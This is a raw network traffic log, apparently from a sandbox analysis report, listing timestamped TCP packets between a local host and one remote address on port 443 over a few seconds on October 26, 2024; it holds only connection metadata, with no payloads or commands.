Oct 26, 2024 13:49:22.441962957 CEST	443	49873	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.441994905 CEST	443	49873	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.442061901 CEST	443	49873	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.442061901 CEST	49873	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:22.442121029 CEST	49873	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:22.442404985 CEST	49873	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:22.442423105 CEST	443	49873	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.442455053 CEST	49873	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:22.442461014 CEST	443	49873	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.445751905 CEST	49878	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:22.445787907 CEST	443	49878	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.445851088 CEST	49878	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:22.446038961 CEST	49878	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:22.446048975 CEST	443	49878	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.726963997 CEST	443	49874	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.727485895 CEST	49874	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:22.727519035 CEST	443	49874	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.728102922 CEST	49874	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:22.728108883 CEST	443	49874	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.860100985 CEST	443	49874	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.860132933 CEST	443	49874	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.860193968 CEST	443	49874	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.860215902 CEST	49874	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:22.860313892 CEST	49874	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:22.860590935 CEST	49874	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:22.860609055 CEST	443	49874	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.860640049 CEST	49874	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:22.860645056 CEST	443	49874	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.863750935 CEST	49879	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:22.863804102 CEST	443	49879	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.863910913 CEST	49879	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:22.864073038 CEST	49879	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:22.864084005 CEST	443	49879	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.971632004 CEST	443	49875	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.972143888 CEST	49875	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:22.972170115 CEST	443	49875	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.972615004 CEST	49875	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:22.972623110 CEST	443	49875	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.973674059 CEST	443	49876	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.974014997 CEST	49876	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:22.974039078 CEST	443	49876	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:22.974433899 CEST	49876	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:22.974446058 CEST	443	49876	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.094651937 CEST	443	49877	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.095201969 CEST	49877	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:23.095233917 CEST	443	49877	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.095686913 CEST	49877	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:23.095700979 CEST	443	49877	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.102356911 CEST	443	49875	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.102425098 CEST	443	49875	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.102644920 CEST	49875	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:23.102701902 CEST	49875	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:23.102720022 CEST	443	49875	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.102732897 CEST	49875	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:23.102737904 CEST	443	49875	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.104872942 CEST	443	49876	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.104918003 CEST	443	49876	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.104984999 CEST	49876	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:23.105206966 CEST	49876	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:23.105225086 CEST	443	49876	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.105236053 CEST	49876	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:23.105241060 CEST	443	49876	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.105796099 CEST	49880	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:23.105832100 CEST	443	49880	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.105921984 CEST	49880	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:23.106131077 CEST	49880	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:23.106143951 CEST	443	49880	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.107896090 CEST	49881	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:23.107940912 CEST	443	49881	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.108000994 CEST	49881	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:23.108151913 CEST	49881	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:23.108170986 CEST	443	49881	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.204952002 CEST	443	49878	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.205504894 CEST	49878	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:23.205518961 CEST	443	49878	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.205975056 CEST	49878	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:23.205980062 CEST	443	49878	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.268670082 CEST	443	49877	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.268739939 CEST	443	49877	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.268996954 CEST	49877	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:23.269071102 CEST	49877	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:23.269094944 CEST	443	49877	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.269109964 CEST	49877	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:23.269115925 CEST	443	49877	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.271987915 CEST	49882	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:23.272039890 CEST	443	49882	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.272248983 CEST	49882	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:23.272407055 CEST	49882	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:23.272420883 CEST	443	49882	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.336046934 CEST	443	49878	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.336690903 CEST	443	49878	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.336816072 CEST	49878	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:23.336884975 CEST	49878	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:23.336910009 CEST	443	49878	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.336924076 CEST	49878	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:23.336930037 CEST	443	49878	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.340209007 CEST	49883	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:23.340254068 CEST	443	49883	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.340364933 CEST	49883	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:23.340549946 CEST	49883	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:23.340564013 CEST	443	49883	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.621027946 CEST	443	49879	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.621582985 CEST	49879	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:23.621611118 CEST	443	49879	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.622076035 CEST	49879	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:23.622083902 CEST	443	49879	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.755192041 CEST	443	49879	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.755294085 CEST	443	49879	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.755357027 CEST	49879	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:23.755573988 CEST	49879	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:23.755595922 CEST	443	49879	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.755630016 CEST	49879	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:23.755645037 CEST	443	49879	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.758750916 CEST	49884	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:23.758800030 CEST	443	49884	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.758867979 CEST	49884	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:23.759031057 CEST	49884	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:23.759042978 CEST	443	49884	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.828458071 CEST	443	49881	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.829135895 CEST	49881	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:23.829157114 CEST	443	49881	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.829608917 CEST	49881	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:23.829613924 CEST	443	49881	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.860312939 CEST	443	49880	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.860867023 CEST	49880	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:23.860898972 CEST	443	49880	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.861345053 CEST	49880	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:23.861350060 CEST	443	49880	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.958030939 CEST	443	49881	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.958096981 CEST	443	49881	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.958158970 CEST	49881	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:23.958458900 CEST	49881	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:23.958478928 CEST	443	49881	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.958508968 CEST	49881	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:23.958515882 CEST	443	49881	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.961735010 CEST	49885	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:23.961782932 CEST	443	49885	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:23.961906910 CEST	49885	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:23.962102890 CEST	49885	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:23.962115049 CEST	443	49885	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.001749992 CEST	443	49880	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.001828909 CEST	443	49880	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.001926899 CEST	49880	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.003341913 CEST	49880	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.003362894 CEST	443	49880	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.005255938 CEST	443	49882	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.005701065 CEST	49882	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.005716085 CEST	443	49882	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.006236076 CEST	49882	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.006242037 CEST	443	49882	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.007769108 CEST	49886	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.007812023 CEST	443	49886	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.007944107 CEST	49886	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.008156061 CEST	49886	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.008164883 CEST	443	49886	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.090914965 CEST	443	49883	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.091422081 CEST	49883	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.091437101 CEST	443	49883	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.091980934 CEST	49883	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.091986895 CEST	443	49883	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.136473894 CEST	443	49882	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.136555910 CEST	443	49882	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.136605978 CEST	49882	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.136879921 CEST	49882	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.136898041 CEST	443	49882	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.136909962 CEST	49882	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.136915922 CEST	443	49882	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.140770912 CEST	49887	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.140822887 CEST	443	49887	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.141053915 CEST	49887	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.141252041 CEST	49887	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.141264915 CEST	443	49887	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.223534107 CEST	443	49883	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.223624945 CEST	443	49883	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.223684072 CEST	49883	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.224034071 CEST	49883	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.224054098 CEST	443	49883	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.224064112 CEST	49883	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.224070072 CEST	443	49883	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.227394104 CEST	49888	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.227456093 CEST	443	49888	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.227521896 CEST	49888	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.227673054 CEST	49888	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.227684975 CEST	443	49888	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.495666027 CEST	443	49884	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.496241093 CEST	49884	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.496274948 CEST	443	49884	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.496860981 CEST	49884	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.496875048 CEST	443	49884	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.626383066 CEST	443	49884	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.626499891 CEST	443	49884	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.626580000 CEST	49884	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.626893044 CEST	49884	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.626914978 CEST	443	49884	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.626929998 CEST	49884	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.626935959 CEST	443	49884	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.630669117 CEST	49889	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.630731106 CEST	443	49889	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.630812883 CEST	49889	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.630999088 CEST	49889	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.631015062 CEST	443	49889	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.682352066 CEST	443	49885	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.682931900 CEST	49885	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.682957888 CEST	443	49885	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.683382988 CEST	49885	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.683387995 CEST	443	49885	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.762059927 CEST	443	49886	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.762597084 CEST	49886	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.762634039 CEST	443	49886	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.763056040 CEST	49886	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.763062000 CEST	443	49886	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.810810089 CEST	443	49885	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.810853958 CEST	443	49885	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.810908079 CEST	443	49885	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.810942888 CEST	49885	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.810972929 CEST	49885	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.811350107 CEST	49885	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.811350107 CEST	49885	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.811374903 CEST	443	49885	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.811379910 CEST	443	49885	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.815917015 CEST	49890	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.815958023 CEST	443	49890	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.816037893 CEST	49890	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.819873095 CEST	49890	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.819892883 CEST	443	49890	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.864731073 CEST	443	49887	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.865302086 CEST	49887	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.865334034 CEST	443	49887	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.865772009 CEST	49887	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.865780115 CEST	443	49887	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.895658970 CEST	443	49886	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.895739079 CEST	443	49886	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.895813942 CEST	49886	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.896153927 CEST	49886	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.896203995 CEST	443	49886	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.896234035 CEST	49886	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.896250963 CEST	443	49886	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.899257898 CEST	49891	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.899317026 CEST	443	49891	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.899487019 CEST	49891	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.899701118 CEST	49891	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.899722099 CEST	443	49891	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.953777075 CEST	443	49888	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.954406023 CEST	49888	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.954451084 CEST	443	49888	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:24.954921961 CEST	49888	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:24.954935074 CEST	443	49888	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.006429911 CEST	443	49887	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.006658077 CEST	443	49887	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.006716967 CEST	443	49887	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.006725073 CEST	49887	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.006870031 CEST	49887	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.006870031 CEST	49887	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.007339954 CEST	49887	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.007363081 CEST	443	49887	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.010113001 CEST	49892	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.010163069 CEST	443	49892	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.010276079 CEST	49892	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.010477066 CEST	49892	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.010492086 CEST	443	49892	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.090903044 CEST	443	49888	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.090986013 CEST	443	49888	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.091051102 CEST	49888	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.091425896 CEST	49888	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.091445923 CEST	443	49888	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.091451883 CEST	49888	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.091456890 CEST	443	49888	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.094712019 CEST	49893	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.094762087 CEST	443	49893	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.094861031 CEST	49893	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.095031023 CEST	49893	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.095042944 CEST	443	49893	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.366193056 CEST	443	49889	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.366779089 CEST	49889	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.366820097 CEST	443	49889	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.367229939 CEST	49889	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.367237091 CEST	443	49889	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.497423887 CEST	443	49889	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.497522116 CEST	443	49889	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.497606039 CEST	49889	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.497951031 CEST	49889	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.497977018 CEST	443	49889	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.497994900 CEST	49889	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.498003006 CEST	443	49889	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.501992941 CEST	49894	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.502036095 CEST	443	49894	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.502170086 CEST	49894	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.502312899 CEST	49894	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.502324104 CEST	443	49894	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.571197987 CEST	443	49890	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.571872950 CEST	49890	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.571888924 CEST	443	49890	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.572607994 CEST	49890	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.572613955 CEST	443	49890	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.629007101 CEST	443	49891	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.629667997 CEST	49891	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.629700899 CEST	443	49891	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.630145073 CEST	49891	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.630153894 CEST	443	49891	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.704617977 CEST	443	49890	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.704687119 CEST	443	49890	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.704895020 CEST	49890	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.706027985 CEST	49890	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.706051111 CEST	443	49890	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.706063986 CEST	49890	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.706069946 CEST	443	49890	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.709055901 CEST	49895	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.709109068 CEST	443	49895	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.709244967 CEST	49895	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.709398031 CEST	49895	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.709414005 CEST	443	49895	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.759448051 CEST	443	49891	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.759538889 CEST	443	49891	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.759583950 CEST	443	49891	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.759588003 CEST	49891	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.759654999 CEST	49891	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.759882927 CEST	49891	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.759907007 CEST	443	49891	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.759938002 CEST	49891	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.759946108 CEST	443	49891	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.762604952 CEST	443	49892	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.763061047 CEST	49892	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.763082981 CEST	443	49892	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.763408899 CEST	49896	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.763446093 CEST	443	49896	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.763550997 CEST	49896	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.763612986 CEST	49892	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.763618946 CEST	443	49892	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.763770103 CEST	49896	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.763781071 CEST	443	49896	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.822751045 CEST	443	49893	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.823271036 CEST	49893	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.823303938 CEST	443	49893	13.107.246.60	192.168.2.5
